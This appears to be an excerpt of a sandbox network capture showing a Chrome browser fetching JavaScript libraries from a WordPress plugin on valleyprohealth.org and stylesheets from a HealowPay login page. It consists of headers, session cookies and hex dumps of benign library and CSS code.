2024-04-24 12:44:54 UTC	429	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:54 GMT Content-Type: application/javascript Content-Length: 8700 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Sat, 06 Apr 2024 06:46:19 GMT Vary: Accept-Encoding ETag: "6610efbb-21fc" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:54 UTC	8700	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 43 75 73 74 6f 6d 45 76 65 6e 74 29 72 65 74 75 72 6e 21 31 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 74 3d 74 7c 7c 7b 62 75 62 62 6c 65 73 3a 21 31 2c 63 61 6e 63 65 6c 61 62 6c 65 3a 21 31 2c 64 65 74 61 69 6c 3a 76 6f 69 64 20 30 7d 3b 76 61 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 43 75 73 74 6f 6d 45 76 65 6e 74 22 29 3b 72 65 74 75 72 6e 20 6e 2e 69 6e 69 74 43 75 73 74 6f 6d 45 76 65 6e 74 28 65 2c 74 2e 62 75 62 62 6c 65 73 2c 74 2e 63 61 6e 63 65 6c 61 62 6c 65 2c 74 2e 64 65 74 61 69 6c 29 2c 6e 7d 65 2e 70 72 6f 74 6f 74 79 70 65 3d 77 69 6e 64 6f 77 2e 45 76 65 6e 74 2e 70 72 Data Ascii: !function(){if("function"==typeof window.CustomEvent)return!1;function e(e,t){t=t\|\|{bubbles:!1,cancelable:!1,detail:void 0};var n=document.createEvent("CustomEvent");return n.initCustomEvent(e,t.bubbles,t.cancelable,t.detail),n}e.prototype=window.Event.pr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	49968	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:54 UTC	758	OUT	GET /wp-content/plugins/user-submitted-posts/resources/jquery.cookie.js?ver=20240319 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
2024-04-24 12:44:54 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:54 GMT Content-Type: application/javascript Content-Length: 1499 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Sun, 24 Mar 2024 08:09:37 GMT Vary: Accept-Encoding ETag: "65ffdfc1-5db" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:54 UTC	1499	IN	Data Raw: 2f 2a 21 20 6a 73 2d 63 6f 6f 6b 69 65 20 76 33 2e 30 2e 30 2d 72 63 2e 30 20 7c 20 4d 49 54 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 74 29 3a 28 65 3d 65 7c 7c 73 65 6c 66 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 65 2e 43 6f 6f 6b 69 65 73 2c 6e 3d 65 2e 43 6f 6f 6b 69 65 73 3d 74 28 29 3b 6e 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 Data Ascii: /! js-cookie v3.0.0-rc.0 \| MIT /!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e=e\|\|self,function(){var r=e.Cookies,n=e.Cookies=t();n.noConflict=function(){return

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	49969	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:54 UTC	763	OUT	GET /wp-content/plugins/user-submitted-posts/resources/jquery.parsley.min.js?ver=20240319 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
2024-04-24 12:44:55 UTC	430	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:54 GMT Content-Type: application/javascript Content-Length: 42914 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Sun, 24 Mar 2024 08:09:37 GMT Vary: Accept-Encoding ETag: "65ffdfc1-a7a2" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:55 UTC	15954	IN	Data Raw: 2f 2a 21 0a 2a 20 50 61 72 73 6c 65 79 2e 6a 73 0a 2a 20 56 65 72 73 69 6f 6e 20 32 2e 38 2e 30 20 2d 20 62 75 69 6c 74 20 57 65 64 2c 20 53 65 70 20 31 33 74 68 20 32 30 31 37 2c 20 31 31 3a 30 34 20 70 6d 0a 2a 20 68 74 74 70 73 3a 2f 2f 70 61 72 73 6c 65 79 6a 73 2e 6f 72 67 0a 2a 20 47 75 69 6c 6c 61 75 6d 65 20 50 6f 74 69 65 72 20 2d 20 3c 67 75 69 6c 6c 61 75 6d 65 40 77 69 73 65 6d 62 6c 79 2e 63 6f 6d 3e 0a 2a 20 4d 61 72 63 2d 41 6e 64 72 65 20 4c 61 66 6f 72 74 75 6e 65 20 2d 20 3c 70 65 74 72 6f 73 65 6c 69 6e 75 6d 40 6d 61 72 63 2d 61 6e 64 72 65 2e 63 61 3e 0a 2a 20 4d 49 54 20 4c 69 63 65 6e 73 65 64 0a 2a 2f 0a 66 75 6e 63 74 69 6f 6e 20 5f 74 6f 43 6f 6e 73 75 6d 61 62 6c 65 41 72 72 61 79 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 Data Ascii: /! Parsley.js* Version 2.8.0 - built Wed, Sep 13th 2017, 11:04 pm* https://parsleyjs.org* Guillaume Potier - <guillaume@wisembly.com>* Marc-Andre Lafortune - <petroselinum@marc-andre.ca>* MIT Licensed*/function _toConsumableArray(e){if(Array.isA
2024-04-24 12:44:55 UTC	16384	IN	Data Raw: 3c 74 68 69 73 2e 76 61 6c 69 64 61 74 69 6f 6e 52 65 73 75 6c 74 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 65 2e 70 75 73 68 28 74 68 69 73 2e 76 61 6c 69 64 61 74 69 6f 6e 52 65 73 75 6c 74 5b 74 5d 2e 65 72 72 6f 72 4d 65 73 73 61 67 65 7c 7c 74 68 69 73 2e 5f 67 65 74 45 72 72 6f 72 4d 65 73 73 61 67 65 28 74 68 69 73 2e 76 61 6c 69 64 61 74 69 6f 6e 52 65 73 75 6c 74 5b 74 5d 2e 61 73 73 65 72 74 29 29 3b 72 65 74 75 72 6e 20 65 7d 2c 61 64 64 45 72 72 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3c 3d 31 7c 7c 76 6f 69 64 20 30 3d 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 7b 7d 3a 61 72 67 75 6d 65 6e 74 73 5b 31 5d 2c 69 3d 74 2e 6d 65 73 73 61 67 65 2c 6e 3d 74 2e 61 73 73 65 72 74 2c Data Ascii: <this.validationResult.length;t++)e.push(this.validationResult[t].errorMessage\|\|this._getErrorMessage(this.validationResult[t].assert));return e},addError:function(e){var t=arguments.length<=1\|\|void 0===arguments[1]?{}:arguments[1],i=t.message,n=t.assert,
2024-04-24 12:44:55 UTC	10576	IN	Data Raw: 70 65 64 43 6f 6e 73 74 72 61 69 6e 74 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 31 3d 3d 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 70 72 69 6f 72 69 74 79 45 6e 61 62 6c 65 64 29 72 65 74 75 72 6e 5b 74 68 69 73 2e 63 6f 6e 73 74 72 61 69 6e 74 73 5d 3b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 74 3d 7b 7d 2c 69 3d 30 3b 69 3c 74 68 69 73 2e 63 6f 6e 73 74 72 61 69 6e 74 73 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 7b 76 61 72 20 6e 3d 74 68 69 73 2e 63 6f 6e 73 74 72 61 69 6e 74 73 5b 69 5d 2e 70 72 69 6f 72 69 74 79 3b 74 5b 6e 5d 7c 7c 65 2e 70 75 73 68 28 74 5b 6e 5d 3d 5b 5d 29 2c 74 5b 6e 5d 2e 70 75 73 68 28 74 68 69 73 2e 63 6f 6e 73 74 72 61 69 6e 74 73 5b 69 5d 29 7d 72 65 74 75 72 6e 20 65 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 Data Ascii: pedConstraints:function(){if(!1===this.options.priorityEnabled)return[this.constraints];for(var e=[],t={},i=0;i<this.constraints.length;i++){var n=this.constraints[i].priority;t[n]\|\|e.push(t[n]=[]),t[n].push(this.constraints[i])}return e.sort(function(e,t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	49970	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:54 UTC	760	OUT	GET /wp-content/plugins/user-submitted-posts/resources/jquery.usp.core.js?ver=20240319 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
2024-04-24 12:44:55 UTC	429	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:54 GMT Content-Type: application/javascript Content-Length: 7158 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Sun, 24 Mar 2024 08:09:37 GMT Vary: Accept-Encoding ETag: "65ffdfc1-1bf6" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:55 UTC	7158	IN	Data Raw: 2f 2a 20 0a 09 55 73 65 72 20 53 75 62 6d 69 74 74 65 64 20 50 6f 73 74 73 20 3a 20 43 6f 72 65 20 4a 53 20 3a 20 56 65 72 73 69 6f 6e 20 32 2e 30 0a 09 40 20 68 74 74 70 73 3a 2f 2f 70 65 72 69 73 68 61 62 6c 65 70 72 65 73 73 2e 63 6f 6d 2f 75 73 65 72 2d 73 75 62 6d 69 74 74 65 64 2d 70 6f 73 74 73 2f 0a 2a 2f 0a 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0a 09 0a 09 24 28 27 2e 75 73 70 2d 63 61 6c 6c 6f 75 74 2d 66 61 69 6c 75 72 65 27 29 2e 61 64 64 43 6c 61 73 73 28 27 75 73 70 2d 68 69 64 64 65 6e 27 29 2e 68 69 64 65 28 29 3b 0a 09 24 28 27 23 75 73 65 72 2d 73 75 62 6d 69 74 74 65 64 2d 70 6f 73 74 27 29 2e 6f 6e 28 27 63 6c 69 63 6b 27 2c 20 66 75 6e 63 74 69 6f 6e 28 65 29 20 7b Data Ascii: /* User Submitted Posts : Core JS : Version 2.0@ https://perishablepress.com/user-submitted-posts/*/jQuery(document).ready(function($) {$('.usp-callout-failure').addClass('usp-hidden').hide();$('#user-submitted-post').on('click', function(e) {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	49972	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:54 UTC	780	OUT	GET /HealowPay/jsp/js/assets/css/layout.css HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.healowpay.com/HealowPay/jsp/healow/login.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:55 UTC	1410	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:54 GMT Content-Type: text/css Content-Length: 34519 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"34519-1708679232000" Last-Modified: Fri, 23 Feb 2024 09:07:12 GMT vary: accept-encoding Server:
2024-04-24 12:44:55 UTC	14974	IN	Data Raw: 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 68 65 61 6c 6f 77 27 3b 0d 0a 20 20 73 72 63 3a 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 68 65 61 6c 6f 77 2e 65 6f 74 3f 71 64 39 61 74 70 27 29 3b 0d 0a 20 20 73 72 63 3a 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 68 65 61 6c 6f 77 2e 65 6f 74 3f 71 64 39 61 74 70 23 69 65 66 69 78 27 29 20 66 6f 72 6d 61 74 28 27 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 27 29 2c 0d 0a 20 20 20 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 68 65 61 6c 6f 77 2e 74 74 66 3f 71 64 39 61 74 70 27 29 20 66 6f 72 6d 61 74 28 27 74 72 75 65 74 79 70 65 27 29 2c 0d 0a 20 20 20 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 68 65 61 6c 6f 77 2e 77 6f 66 66 3f 71 64 39 61 74 70 Data Ascii: @font-face { font-family: 'healow'; src: url('../fonts/healow.eot?qd9atp'); src: url('../fonts/healow.eot?qd9atp#iefix') format('embedded-opentype'), url('../fonts/healow.ttf?qd9atp') format('truetype'), url('../fonts/healow.woff?qd9atp
2024-04-24 12:44:55 UTC	16384	IN	Data Raw: 72 6f 75 70 20 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 74 65 78 74 2e 6c 65 66 74 69 6e 70 75 74 20 7b 0d 0a 20 20 62 6f 72 64 65 72 2d 74 6f 70 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 20 31 30 70 78 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 20 31 30 70 78 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 20 30 3b 0d 0a 7d 0d 0a 2e 68 2d 77 72 61 70 70 65 72 20 2e 69 6e 70 75 74 2d 67 72 6f 75 70 20 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 74 65 78 74 2e 72 69 67 68 74 69 6e 70 74 20 7b 0d 0a 20 20 62 6f 72 64 65 72 2d 74 6f 70 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 20 31 30 70 78 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 20 31 30 70 78 3b 0d 0a 20 Data Ascii: roup .input-group-text.leftinput { border-top-left-radius: 10px; border-bottom-left-radius: 10px; border-right: 0;}.h-wrapper .input-group .input-group-text.rightinpt { border-top-right-radius: 10px; border-bottom-right-radius: 10px;
2024-04-24 12:44:55 UTC	3161	IN	Data Raw: 75 74 6c 69 6e 65 2d 70 72 69 6d 61 72 79 20 2e 69 63 6f 6e 2c 0d 0a 2e 68 2d 77 72 61 70 70 65 72 20 2e 62 74 6e 2d 67 72 6f 75 70 2e 62 74 6e 2d 67 72 6f 75 70 2e 73 63 68 65 64 75 6c 65 64 61 79 2d 67 72 6f 75 70 20 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 70 72 69 6d 61 72 79 3a 68 6f 76 65 72 20 2e 69 63 6f 6e 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 23 30 44 30 36 33 30 3b 0d 0a 7d 0d 0a 2e 68 2d 77 72 61 70 70 65 72 20 2e 62 74 6e 2d 67 72 6f 75 70 2e 73 63 68 65 64 75 6c 65 64 61 79 2d 67 72 6f 75 70 20 2e 62 74 6e 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 70 72 69 6d 61 72 79 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 35 70 78 20 31 35 70 78 3b 0d 0a 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0d Data Ascii: utline-primary .icon,.h-wrapper .btn-group.btn-group.scheduleday-group .btn-outline-primary:hover .icon { color: #0D0630;}.h-wrapper .btn-group.scheduleday-group .btn.btn-outline-primary { padding: 5px 15px; height: 30px; display: flex;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	49973	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:54 UTC	780	OUT	GET /HealowPay/jsp/js/assets/css/custom.css HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.healowpay.com/HealowPay/jsp/healow/login.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:55 UTC	1410	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:54 GMT Content-Type: text/css Content-Length: 91107 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"91107-1709723745000" Last-Modified: Wed, 06 Mar 2024 11:15:45 GMT vary: accept-encoding Server:
2024-04-24 12:44:55 UTC	14974	IN	Data Raw: 2f 2a 20 40 69 6d 70 6f 72 74 20 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 50 6f 70 70 69 6e 73 3a 69 74 61 6c 2c 77 67 68 74 40 30 2c 31 30 30 3b 30 2c 32 30 30 3b 30 2c 33 30 30 3b 30 2c 34 30 30 3b 30 2c 35 30 30 3b 30 2c 36 30 30 3b 30 2c 37 30 30 3b 30 2c 38 30 30 3b 30 2c 39 30 30 3b 31 2c 31 30 30 3b 31 2c 32 30 30 3b 31 2c 33 30 30 3b 31 2c 34 30 30 3b 31 2c 35 30 30 3b 31 2c 36 30 30 3b 31 2c 37 30 30 3b 31 2c 38 30 30 3b 31 2c 39 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 27 29 3b 20 2a 2f 0d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0d 0a 0d 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 50 Data Ascii: /* @import url('https://fonts.googleapis.com/css2?family=Poppins:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap'); // latin-ext */@font-face { font-family: 'P
2024-04-24 12:44:55 UTC	16384	IN	Data Raw: 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 31 36 70 78 3b 0d 0a 7d 0d 0a 2e 68 2d 77 72 61 70 70 65 72 20 2e 72 6f 75 6e 64 65 64 2d 74 61 62 73 2e 6e 61 76 2d 70 69 6c 6c 73 20 2e 6e 61 76 2d 6c 69 6e 6b 2e 61 63 74 69 76 65 20 7b 0d 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 30 44 30 36 33 30 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 45 34 45 38 46 46 3b 20 0d 0a 20 20 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 20 20 20 0d 0a 7d 0d 0a 2e 68 2d 77 72 61 70 70 65 72 20 2e 72 6f 75 6e 64 65 64 2d 74 61 62 73 2e 6e 61 76 2d 70 69 6c 6c 73 20 2e 6e 61 76 2d 6c 69 6e 6b 20 2e 69 63 6f 6e 20 7b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 44 30 36 33 30 3b 0d 0a 7d 0d 0a 2e 68 2d 77 72 61 70 70 65 72 Data Ascii: margin-right: 16px;}.h-wrapper .rounded-tabs.nav-pills .nav-link.active { border: 1px solid #0D0630; background: #E4E8FF; box-shadow: none; }.h-wrapper .rounded-tabs.nav-pills .nav-link .icon { color: #0D0630;}.h-wrapper
2024-04-24 12:44:55 UTC	16384	IN	Data Raw: 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 31 35 70 78 20 31 35 70 78 20 30 20 30 3b 20 20 20 20 0d 0a 7d 0d 0a 0d 0a 2e 68 2d 77 72 61 70 70 65 72 20 2e 62 6f 6f 6b 61 70 74 2d 77 72 61 70 70 65 72 20 2e 63 61 72 64 20 2e 63 61 72 64 2d 62 6f 64 79 20 2e 74 61 62 6c 65 3e 3a 6e 6f 74 28 63 61 70 74 69 6f 6e 29 3e 2a 3e 2a 20 7b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 77 69 64 74 68 3a 20 30 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 30 3b 0d 0a 7d 0d 0a 0d 0a 2e 68 2d 77 72 61 70 70 65 72 20 2e 62 6f 6f 6b 61 70 74 2d 77 72 61 70 70 65 72 20 2e 74 69 6d 65 6c 69 6e 65 2d 63 61 6c 65 6e 64 65 72 20 7b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 35 70 78 3b Data Ascii: border-radius: 15px 15px 0 0; }.h-wrapper .bookapt-wrapper .card .card-body .table>:not(caption)>> { border-bottom-width: 0; padding: 0; border-top: 0;}.h-wrapper .bookapt-wrapper .timeline-calender { padding-top: 5px;
2024-04-24 12:44:55 UTC	16384	IN	Data Raw: 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 30 3b 0d 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 30 3b 0d 0a 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 20 20 20 20 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 7d 0d 0a 20 20 2e 68 2d 77 72 61 70 70 65 72 20 2e 74 6f 6f 6c 74 69 70 2d 64 6f 77 6e 61 72 72 6f 77 3a 61 66 74 65 72 20 7b 0d 0a 20 20 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 29 3b 0d 0a 20 20 20 20 20 20 62 6f 72 64 65 72 2d 74 6f 70 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 20 20 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 37 70 78 3b 0d 0a 20 20 20 20 20 Data Ascii: tent: ""; height: 0; width: 0; position: absolute; pointer-events: none; } .h-wrapper .tooltip-downarrow:after { border-color: rgba(255, 255, 255, 0); border-top-color: #fff; border-width: 7px;
